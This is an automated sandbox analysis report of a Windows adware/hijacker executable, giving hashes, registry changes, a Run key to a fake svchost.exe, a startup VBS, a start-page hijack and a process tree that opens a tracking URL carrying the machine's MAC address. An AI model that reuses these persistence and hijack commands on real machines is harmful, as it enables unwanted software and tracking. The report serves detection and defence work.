7b98de0154a6dd70e2fc1151911f328f74a068b80408285aeb5bb27fec1a6768

Analysis

max time kernel
151s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
30/12/2023, 09:28

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General

Target

1481721ea6d463f3b093a57307af8620.exe
Size

191KB
MD5

1481721ea6d463f3b093a57307af8620
SHA1

44453df9ff359cc35771ab2b7ddff9a5eee1a8af
SHA256

7b98de0154a6dd70e2fc1151911f328f74a068b80408285aeb5bb27fec1a6768
SHA512

4ca12c661522d2e329f5f1c5d5b3bf327c859f7367626f07732860b1e8e13f721d6cfcf3b045929f9210f943242167312e8c2357fe4773c6f7eff7424bc9392e
SSDEEP

3072:T/na6WDmrZ5Cn79xvlr2xmOJ5wUuWXcfb0hw7IACb873684yVcx566/znwVxIPGV:T/nuDm9knmhJ4/sMLuO6/zjGLN8lk

Score

7^/10

persistence

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	1481721ea6d463f3b093a57307af8620.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cmd.vbs	1481721ea6d463f3b093a57307af8620.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cmd.vbs	1481721ea6d463f3b093a57307af8620.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ÓÃÓÚÏµÍ³µÇÂ¼µÄÎÄ¼þ£¬É¾³ýµôÎÞ·¨Õý³£µÇÂ¼ÏµÍ³¡£ = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	1481721ea6d463f3b093a57307af8620.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0a8399ce63cda01	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c4e92002c4a416439bca1d31c27b840500000000020000000000106600000001000020000000df0e95d1797bd3a976a8496a68df39408e9c403e4203385428612bb24a28d084000000000e80000000020000200000007dcbd4fb396750043520f5ef412a8932407803dee756a9d7dc86b5ef3a4b7b7220000000d686f225f804a48a56a9bcd6f2062dbfb3821379a009011e58839af9bb0e281f40000000e544762c5a05c6a66553485a6a26aa1511f28fd57fb3a08dddc33f265421ad476a651e8fc91b55401e19eeaf325d3526b024508280b305f10b450f65c4940fd5	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2606028040"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31079654"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c4e92002c4a416439bca1d31c27b840500000000020000000000106600000001000020000000c17b0251b2dd9812d0987c6659609e475034a4e4d1c19bc8262bc79fc0113bd5000000000e80000000020000200000001c35ad0a166ad4e3996964472d19d318eb4bbb24c8d933c1643b00b448c06c8d200000005d2f9c8f9a17aee74097024929706d3a454b115e3a08a11b987f9e6fc24da55840000000079ada481c6e45dc0cef52d5eaa159e39b89c402db321f35940fff3946dca4e01d1c7fe58a0a0838a1d42a49bb242ed3514adc17e79bc6c1f3a6e40f387d55bf	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{C4A32539-A8D9-11EE-BB4F-F68B0B0A1028} = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2606028040"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b0369d9ae63cda01	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Software\Microsoft\Internet Explorer\Main	1481721ea6d463f3b093a57307af8620.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31079654"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "410901351"	IEXPLORE.EXE

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.7400.net"	1481721ea6d463f3b093a57307af8620.exe

Modifies registry class 30 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\ShellFolder	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\InProcServer32\ThreadingModel = "Apartment"	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance\InitPropertyBag\Param2 = "%ProgramFiles(x86)%\\Internet Explorer\\iexplore.exe"	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance\InitPropertyBag\Param1 = "http://%77%77%77%2e%37%34%30%30%2e%6e%65%74"	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\ShellFolder	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\InProcServer32	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\shellex\MayChangeDefaultMenu\	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance\InitPropertyBag\command = "´ò¿ªÖ÷Ò³"	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance\InitPropertyBag	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance\InitPropertyBag\CLSID = "{13709620-C279-11CE-A49E-444553540000}"	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\ShellFolder	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\InProcServer32\ = "%SystemRoot%\\SysWow64\\shdocvw.dll"	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\shellex	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance\CLSID = "{3f454f0e-42ae-4d7c-8ea3-328250d6e272}"	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex	1481721ea6d463f3b093a57307af8620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\Instance\InitPropertyBag\method = "ShellExecute"	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\ieframe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\ieframe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shellex\ContextMenuHandlers\ieframe	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shellex\ContextMenuHandlers\ieframe	1481721ea6d463f3b093a57307af8620.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{39119718-2782-9428-3911-278277420997}\shellex\MayChangeDefaultMenu	1481721ea6d463f3b093a57307af8620.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\"%ProgramFiles(x86)%\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046}	1481721ea6d463f3b093a57307af8620.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3644	IEXPLORE.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3644	IEXPLORE.EXE
3644	IEXPLORE.EXE
832	IEXPLORE.EXE
832	IEXPLORE.EXE
832	IEXPLORE.EXE
832	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 3372	5072	1481721ea6d463f3b093a57307af8620.exe	91
PID 5072 wrote to memory of 3372	5072	1481721ea6d463f3b093a57307af8620.exe	91
PID 5072 wrote to memory of 3372	5072	1481721ea6d463f3b093a57307af8620.exe	91
PID 5072 wrote to memory of 4004	5072	1481721ea6d463f3b093a57307af8620.exe	92
PID 5072 wrote to memory of 4004	5072	1481721ea6d463f3b093a57307af8620.exe	92
PID 5072 wrote to memory of 4004	5072	1481721ea6d463f3b093a57307af8620.exe	92
PID 3372 wrote to memory of 3644	3372	iexplore.exe	93
PID 3372 wrote to memory of 3644	3372	iexplore.exe	93
PID 4004 wrote to memory of 4780	4004	cmd.exe	95
PID 4004 wrote to memory of 4780	4004	cmd.exe	95
PID 4004 wrote to memory of 4780	4004	cmd.exe	95
PID 5072 wrote to memory of 4272	5072	1481721ea6d463f3b093a57307af8620.exe	96
PID 5072 wrote to memory of 4272	5072	1481721ea6d463f3b093a57307af8620.exe	96
PID 5072 wrote to memory of 4272	5072	1481721ea6d463f3b093a57307af8620.exe	96
PID 4272 wrote to memory of 536	4272	cmd.exe	99
PID 4272 wrote to memory of 536	4272	cmd.exe	99
PID 4272 wrote to memory of 536	4272	cmd.exe	99
PID 3644 wrote to memory of 832	3644	IEXPLORE.EXE	100
PID 3644 wrote to memory of 832	3644	IEXPLORE.EXE	100
PID 3644 wrote to memory of 832	3644	IEXPLORE.EXE	100
PID 5072 wrote to memory of 2868	5072	1481721ea6d463f3b093a57307af8620.exe	101
PID 5072 wrote to memory of 2868	5072	1481721ea6d463f3b093a57307af8620.exe	101
PID 5072 wrote to memory of 2868	5072	1481721ea6d463f3b093a57307af8620.exe	101
PID 2868 wrote to memory of 3420	2868	cmd.exe	103
PID 2868 wrote to memory of 3420	2868	cmd.exe	103
PID 2868 wrote to memory of 3420	2868	cmd.exe	103
PID 5072 wrote to memory of 2956	5072	1481721ea6d463f3b093a57307af8620.exe	104
PID 5072 wrote to memory of 2956	5072	1481721ea6d463f3b093a57307af8620.exe	104
PID 5072 wrote to memory of 2956	5072	1481721ea6d463f3b093a57307af8620.exe	104
PID 2956 wrote to memory of 5088	2956	cmd.exe	106
PID 2956 wrote to memory of 5088	2956	cmd.exe	106
PID 2956 wrote to memory of 5088	2956	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\1481721ea6d463f3b093a57307af8620.exe
"C:\Users\Admin\AppData\Local\Temp\1481721ea6d463f3b093a57307af8620.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
- Modifies registry class
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Program Files (x86)\Internet Explorer\iexplore.exe
  "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://down.biso.cc/b/tj.asp?mac=F6:8B:0B:0A:10:28&tid=1481721ea6d463f3b093a57307af8620
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://down.biso.cc/b/tj.asp?mac=F6:8B:0B:0A:10:28&tid=1481721ea6d463f3b093a57307af8620
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3644 CREDAT:17410 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c regini C:\Users\Admin\AppData\Local\Temp\509617_s.ini
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4004
- - C:\Windows\SysWOW64\regini.exe
    regini C:\Users\Admin\AppData\Local\Temp\509617_s.ini
    3⤵
    - Modifies registry class
    PID:4780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
    3⤵
    PID:536
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c regini C:\Users\Admin\AppData\Local\Temp\509617.ini
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\SysWOW64\regini.exe
    regini C:\Users\Admin\AppData\Local\Temp\509617.ini
    3⤵
    - Modifies registry class
    PID:3420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
    3⤵
    PID:5088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver24D.tmp

Filesize
15KB

MD5
1a545d0052b581fbb2ab4c52133846bc

SHA1
62f3266a9b9925cd6d98658b92adec673cbe3dd3

SHA256
557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

SHA512
bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUTCV3OF\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\509617.ini

Filesize
411B

MD5
390f961a0d7fe7e4f89de6d8714df6ac

SHA1
b917d8facc1fe041cbd3b9d769f43ac953a3ae79

SHA256
c7d2ae524b8899a39d16b95491dd982c2e72e9a04a204b27d53139f15bb24cff

SHA512
e962e0cf4051f9060c892e98f526ef679b4d88d62dbbd12a074958a12a030e540c13ce1723f93c56a2bc31f7d46fd7e8fb7694c8530761f5f29b812a9fcfc255

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C:\Users\Admin\AppData\Local\Temp\509617_s.ini

Filesize
508B

MD5
4f579df6091967f772a34113eb550ea3

SHA1
03f14635e60f5245c91a73b6b9155567566581ed

SHA256
feafe7c6c4c322682a1b8132d595ff70a630c43b4ea99ad52496cf7303e741f1

SHA512
646269f7699f288b107f3b70fb28cf6191cd70d8263c259aa6ac9b0d4cd1f5461de7028ff7b666662eeb55090b5e4ef5417a6751b4d0b349a1c8ae6f4b016654

Download Submit
memory/5072-19-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads